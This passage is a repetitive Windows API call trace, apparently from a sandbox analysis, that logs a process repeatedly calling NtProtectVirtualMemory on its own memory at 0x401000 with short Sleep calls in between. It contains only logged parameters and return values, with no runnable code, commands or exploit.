NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.855] Sleep (dwMilliseconds=0x5) [0247.000] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.001] Sleep (dwMilliseconds=0x5) [0247.042] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.043] Sleep (dwMilliseconds=0x5) [0247.095] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.096] Sleep (dwMilliseconds=0x5) [0247.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.174] Sleep (dwMilliseconds=0x5) [0247.220] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.220] Sleep (dwMilliseconds=0x5) [0247.269] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.270] Sleep (dwMilliseconds=0x5) [0247.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.327] Sleep (dwMilliseconds=0x5) [0247.411] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.453] Sleep (dwMilliseconds=0x5) [0247.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.500] Sleep (dwMilliseconds=0x5) [0247.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.544] Sleep (dwMilliseconds=0x5) [0247.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.627] Sleep (dwMilliseconds=0x5) [0247.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.671] Sleep (dwMilliseconds=0x5) [0247.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.716] Sleep (dwMilliseconds=0x5) [0247.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.766] Sleep (dwMilliseconds=0x5) [0247.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.848] Sleep (dwMilliseconds=0x5) [0247.916] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.917] Sleep (dwMilliseconds=0x5) [0247.965] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.966] Sleep (dwMilliseconds=0x5) [0248.018] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.019] Sleep (dwMilliseconds=0x5) [0248.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.089] Sleep (dwMilliseconds=0x5) [0248.170] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.171] Sleep (dwMilliseconds=0x5) [0248.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.284] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.285] Sleep (dwMilliseconds=0x5) [0248.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.324] Sleep (dwMilliseconds=0x5) [0248.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.375] Sleep (dwMilliseconds=0x5) [0248.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.419] Sleep (dwMilliseconds=0x5) [0248.471] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.472] Sleep (dwMilliseconds=0x5) [0248.523] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.524] Sleep (dwMilliseconds=0x5) [0248.655] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.656] Sleep (dwMilliseconds=0x5) [0248.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.731] Sleep (dwMilliseconds=0x5) [0248.780] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.780] Sleep (dwMilliseconds=0x5) [0248.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.825] Sleep (dwMilliseconds=0x5) [0248.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.876] Sleep (dwMilliseconds=0x5) [0248.930] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.931] Sleep (dwMilliseconds=0x5) [0248.980] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.981] Sleep (dwMilliseconds=0x5) [0249.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.038] Sleep (dwMilliseconds=0x5) [0249.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.079] Sleep (dwMilliseconds=0x5) [0249.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.130] Sleep (dwMilliseconds=0x5) [0249.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.217] Sleep (dwMilliseconds=0x5) [0249.268] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.269] Sleep (dwMilliseconds=0x5) [0249.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.340] Sleep (dwMilliseconds=0x5) [0249.389] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.390] Sleep (dwMilliseconds=0x5) [0249.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.433] Sleep (dwMilliseconds=0x5) [0249.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.486] Sleep (dwMilliseconds=0x5) [0249.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.540] Sleep (dwMilliseconds=0x5) [0249.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.619] Sleep (dwMilliseconds=0x5) [0249.672] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.673] Sleep (dwMilliseconds=0x5) [0249.726] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.727] Sleep (dwMilliseconds=0x5) [0249.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.779] Sleep (dwMilliseconds=0x5) [0249.827] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.828] Sleep (dwMilliseconds=0x5) [0249.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.872] Sleep (dwMilliseconds=0x5) [0249.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.948] Sleep (dwMilliseconds=0x5) [0250.006] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.007] Sleep (dwMilliseconds=0x5) [0250.066] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.071] Sleep (dwMilliseconds=0x5) [0250.158] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.159] Sleep (dwMilliseconds=0x5) [0250.208] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.209] Sleep (dwMilliseconds=0x5) [0250.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.256] Sleep (dwMilliseconds=0x5) [0250.298] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.299] Sleep (dwMilliseconds=0x5) [0250.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.344] Sleep (dwMilliseconds=0x5) [0250.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.388] Sleep (dwMilliseconds=0x5) [0250.434] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.435] Sleep (dwMilliseconds=0x5) [0250.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.480] Sleep (dwMilliseconds=0x5) [0250.529] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.530] Sleep (dwMilliseconds=0x5) [0250.634] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.635] Sleep (dwMilliseconds=0x5) [0250.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.681] Sleep (dwMilliseconds=0x5) [0250.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.771] Sleep (dwMilliseconds=0x5) [0250.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.832] Sleep (dwMilliseconds=0x5) [0250.880] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.881] Sleep (dwMilliseconds=0x5) [0250.941] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.942] Sleep (dwMilliseconds=0x5) [0250.989] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.990] Sleep (dwMilliseconds=0x5) [0251.035] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.035] Sleep (dwMilliseconds=0x5) [0251.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.130] Sleep (dwMilliseconds=0x5) [0251.167] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.168] Sleep (dwMilliseconds=0x5) [0251.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.217] Sleep (dwMilliseconds=0x5) [0251.264] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, 